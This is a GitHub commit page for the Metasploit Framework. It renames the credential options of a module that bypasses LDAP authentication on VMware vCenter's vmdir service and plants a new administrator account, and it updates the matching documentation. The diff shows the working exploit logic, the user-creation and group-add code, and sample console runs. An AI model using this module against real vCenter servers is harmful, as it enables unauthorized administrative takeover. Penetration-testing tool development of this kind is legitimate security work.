Skip to content

Commit 5c09c86

Browse files
authored
Land #18448, corrected options confict between module and ldap mixin
2 parents d98a1e9 + b2f8477 commit 5c09c86

File tree

2 files changed

+38
-38
lines changed

2 files changed

+38
-38
lines changed

documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -32,21 +32,21 @@ Add an admin user to the vCenter Server.
3232
If you already have the LDAP base DN, you may set it in this option.
3333
`dc=vsphere,dc=local` will be used if not set.
3434

35-
### BIND_DN
35+
### USERNAME
3636

3737
If you already have a password to authenticate to the LDAP server (see
38-
BIND_PW), this option let you setup the bind username in DN format (e.g
38+
USERNAME), this option let you setup the bind username in DN format (e.g
3939
`cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`).
4040

41-
### BIND_PW
41+
### PASSWORD
4242

4343
The password to authenticate to the LDAP server, if you have it.
4444

45-
### USERNAME
45+
### NEW_USERNAME
4646

4747
Set this to the username for the new admin user.
4848

49-
### PASSWORD
49+
### NEW_PASSWORD
5050

5151
Set this to the password for the new admin user.
5252

@@ -63,11 +63,11 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
6363
Name Current Setting Required Description
6464
---- --------------- -------- -----------
6565
BASE_DN no LDAP base DN if you already have it
66-
PASSWORD no Password of admin user to add
66+
NEW_PASSWORD no Password of admin user to add
6767
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
6868
RPORT 636 yes The target port
6969
SSL true no Enable SSL on the LDAP connection
70-
USERNAME no Username of admin user to add
70+
NEW_USERNAME no Username of admin user to add
7171
7272
7373
Auxiliary action:
@@ -79,10 +79,10 @@ Auxiliary action:
7979
8080
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted]
8181
rhosts => [redacted]
82-
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set username msfadmin
83-
username => msfadmin
84-
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set password msfadmin
85-
password => msfadmin
82+
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin
83+
new_username => msfadmin
84+
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_password msfadmin
85+
new_password => msfadmin
8686
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
8787
[*] Running module against [redacted]
8888
not verifying SSL hostname of LDAPS server '[redacted]:636'
@@ -140,15 +140,15 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
140140
Name Current Setting Required Description
141141
---- --------------- -------- -----------
142142
BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it
143-
BIND_DN cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
143+
USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
144144
rs,dc=vsphere,dc=local
145-
BIND_PW #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
146-
PASSWORD NewPassword123# no Password of admin user to add
145+
PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
146+
NEW_PASSWORD NewPassword123# no Password of admin user to add
147147
RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework
148148
/wiki/Using-Metasploit
149149
RPORT 636 yes The target port
150150
SSL true no Enable SSL on the LDAP connection
151-
USERNAME MsfAdmin no Username of admin user to add
151+
NEW_USERNAME MsfAdmin no Username of admin user to add
152152
153153
154154
Auxiliary action:

modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -55,34 +55,34 @@ def initialize(info = {})
5555
register_options([
5656
Opt::RPORT(636), # SSL/TLS
5757
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
58-
OptString.new('USERNAME', [false, 'Username of admin user to add']),
59-
OptString.new('PASSWORD', [false, 'Password of admin user to add'])
58+
OptString.new('NEW_USERNAME', [false, 'Username of admin user to add']),
59+
OptString.new('NEW_PASSWORD', [false, 'Password of admin user to add'])
6060
])
6161
end
6262

63-
def username
64-
datastore['USERNAME']
63+
def new_username
64+
datastore['NEW_USERNAME']
6565
end
6666

67-
def password
68-
datastore['PASSWORD']
67+
def new_password
68+
datastore['NEW_PASSWORD']
6969
end
7070

7171
def base_dn
7272
@base_dn ||= 'dc=vsphere,dc=local'
7373
end
7474

7575
def user_dn
76-
"cn=#{username},cn=Users,#{base_dn}"
76+
"cn=#{new_username},cn=Users,#{base_dn}"
7777
end
7878

7979
def group_dn
8080
"cn=Administrators,cn=Builtin,#{base_dn}"
8181
end
8282

8383
def run
84-
unless username && password
85-
print_error('Please set the USERNAME and PASSWORD options to proceed')
84+
unless new_username && new_password
85+
print_error('Please set the NEW_USERNAME and NEW_PASSWORD options to proceed')
8686
return
8787
end
8888

@@ -102,10 +102,10 @@ def run
102102
print_status("Bypassing LDAP auth in vmdir service at #{peer}")
103103
auth_bypass(ldap)
104104

105-
print_status("Adding admin user #{username} with password #{password}")
105+
print_status("Adding admin user #{new_username} with password #{new_password}")
106106

107107
unless add_admin(ldap)
108-
print_error("Failed to add admin user #{username}")
108+
print_error("Failed to add admin user #{new_username}")
109109
end
110110
end
111111
rescue Net::LDAP::Error => e
@@ -116,7 +116,7 @@ def run
116116
def auth_bypass(ldap)
117117
# when datastore['BIND_DN'] has been provided in options,
118118
# ldap_connect has already made a bind for us.
119-
return if datastore['BIND_DN']
119+
return if datastore['USERNAME'] && ldap.bind
120120

121121
ldap.bind(
122122
method: :simple,
@@ -128,13 +128,13 @@ def auth_bypass(ldap)
128128
def add_admin(ldap)
129129
user_info = {
130130
'objectClass' => %w[top person organizationalPerson user],
131-
'cn' => username,
131+
'cn' => new_username,
132132
'sn' => 'vsphere.local',
133-
'givenName' => username,
134-
'sAMAccountName' => username,
135-
'userPrincipalName' => "#{username}@VSPHERE.LOCAL",
136-
'uid' => username,
137-
'userPassword' => password
133+
'givenName' => new_username,
134+
'sAMAccountName' => new_username,
135+
'userPrincipalName' => "#{new_username}@VSPHERE.LOCAL",
136+
'uid' => new_username,
137+
'userPassword' => new_password
138138
}
139139

140140
# Add our new user
@@ -145,32 +145,32 @@ def add_admin(ldap)
145145
when Net::LDAP::ResultCodeInsufficientAccessRights
146146
print_error('Failed to bypass LDAP auth in vmdir service')
147147
when Net::LDAP::ResultCodeEntryAlreadyExists
148-
print_error("User #{username} already exists")
148+
print_error("User #{new_username} already exists")
149149
when Net::LDAP::ResultCodeConstraintViolation
150-
print_error("Password #{password} does not meet policy requirements")
150+
print_error("Password #{new_password} does not meet policy requirements")
151151
else
152152
print_error("#{res.message}: #{res.error_message}")
153153
end
154154

155155
return false
156156
end
157157

158-
print_good("Added user #{username}, so auth bypass was successful!")
158+
print_good("Added user #{new_username}, so auth bypass was successful!")
159159

160160
# Add our user to the admin group
161161
unless ldap.add_attribute(group_dn, 'member', user_dn)
162162
res = ldap.get_operation_result
163163

164164
if res.code == Net::LDAP::ResultCodeAttributeOrValueExists
165-
print_error("User #{username} is already an admin")
165+
print_error("User #{new_username} is already an admin")
166166
else
167167
print_error("#{res.message}: #{res.error_message}")
168168
end
169169

170170
return false
171171
end
172172

173-
print_good("Added user #{username} to admin group")
173+
print_good("Added user #{new_username} to admin group")
174174

175175
true
176176
end

0 commit comments

Comments
 (0)